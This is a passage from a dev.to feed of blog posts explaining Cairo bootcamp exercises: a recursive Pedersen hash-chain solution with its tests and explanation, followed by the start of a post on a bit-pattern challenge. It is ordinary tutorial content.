&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;external&lt;/span&gt;
&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="n"&gt;test_hash_chain&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pedersen_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HashBuiltin&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;}()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;alloc_locals&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash_chain&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;hash_ptr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pedersen_ptr&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="mi"&gt;1323616023845704258113538348000047149470450086307731200728039607710316625916&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// YES&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// YES&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;422&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// YES&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;898&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash_chain&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;hash_ptr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pedersen_ptr&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="mi"&gt;2185907157710685805186499755291718313025201005027499629005977263373594646427&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.cairo_builtins&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;HashBuiltin&lt;/span&gt;
&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.hash&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hash2&lt;/span&gt;

&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="n"&gt;hash_chain&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;hash_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HashBuiltin&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="n"&gt;arr_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arr_len&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr_len&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;hash2&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;arr_ptr&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;arr_ptr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;  
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;hash_chain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arr_len&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;hash2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;arr_ptr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;arr_len&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Explain the solution
&lt;/h2&gt;

&lt;p&gt;For a better explanation, I added another test case&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash_chain&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;hash_ptr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pedersen_ptr&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="mi"&gt;2151680050850558576753658069693146429350618838199373217695410689374331200218&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As usual, we handle the base case for our recursion function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr_len&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;hash2&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;arr_ptr&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;arr_ptr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;  
 &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The base case is to calculate the H(1, 2). Next, we handle the recursive case:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;hash_chain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arr_len&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

 &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;hash2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;arr_ptr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;arr_len&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the &lt;code&gt;arr_len&lt;/code&gt; reaches 2, the call stack starts to offload its box starting from the base case:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="n"&gt;arr_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;--------------------&lt;/span&gt;
&lt;span class="n"&gt;arr_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="n"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="o"&gt;--------------------&lt;/span&gt;
&lt;span class="n"&gt;arr_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; 
&lt;span class="n"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;done!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;I don't often use recursion in other languages which have loop standards. However, since there is no loop in Cairo,  things usually get done by recursion. I am getting used to it. &lt;/p&gt;

&lt;p&gt;I hope you found this guide insightful. If you have any questions, feel free to reach out. Happy coding! &lt;/p&gt;

&lt;p&gt;Here is the &lt;a href="https://github.com/peterblockman/CairoBootcamp/blob/main/exercises/programs/ex_hash_chain.cairo"&gt;Github repo&lt;/a&gt; for the code in this article&lt;/p&gt;

</description>
      <category>cairolang</category>
      <category>web3</category>
      <category>starknet</category>
      <category>pedersenhash</category>
    </item>
    <item>
      <title>Cairo: pattern of bits challenge</title>
      <dc:creator>Peter Blockman</dc:creator>
      <pubDate>Sun, 06 Nov 2022 07:44:27 +0000</pubDate>
      <link>https://dev.to/peterblockman/cairo-pattern-of-bits-challenge-4kdg</link>
      <guid>https://dev.to/peterblockman/cairo-pattern-of-bits-challenge-4kdg</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In Encode's Cairo Bootcamp, there is an interesting bit manipulation challenge. It took me some time to figure it out. In this article, I will discuss the challenge and the solution.&lt;/p&gt;

&lt;h2&gt;
  
  
  The challenge
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;ex7.cairo&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;lang&lt;/span&gt; &lt;span class="n"&gt;starknet&lt;/span&gt;
&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.bitwise&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;bitwise_and&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bitwise_xor&lt;/span&gt;
&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.cairo_builtins&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BitwiseBuiltin&lt;/span&gt;
&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.cairo_builtins&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;HashBuiltin&lt;/span&gt;
&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.math&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unsigned_div_rem&lt;/span&gt;

&lt;span class="c1"&gt;// Using binary operations return:&lt;/span&gt;
&lt;span class="c1"&gt;// - 1 when pattern of bits is 01010101 from LSB up to MSB 1, but accounts for trailing zeros&lt;/span&gt;
&lt;span class="c1"&gt;// - 0 otherwise&lt;/span&gt;

&lt;span class="c1"&gt;// 000000101010101 PASS&lt;/span&gt;
&lt;span class="c1"&gt;// 010101010101011 FAIL&lt;/span&gt;

&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;bitwise_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;BitwiseBuiltin&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;range_check_ptr&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;
    &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;test_ex7.cairo&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;lang&lt;/span&gt; &lt;span class="n"&gt;starknet&lt;/span&gt;
&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.uint256&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Uint256&lt;/span&gt;
&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.bitwise&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;bitwise_and&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bitwise_xor&lt;/span&gt;
&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.cairo_builtins&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BitwiseBuiltin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HashBuiltin&lt;/span&gt;

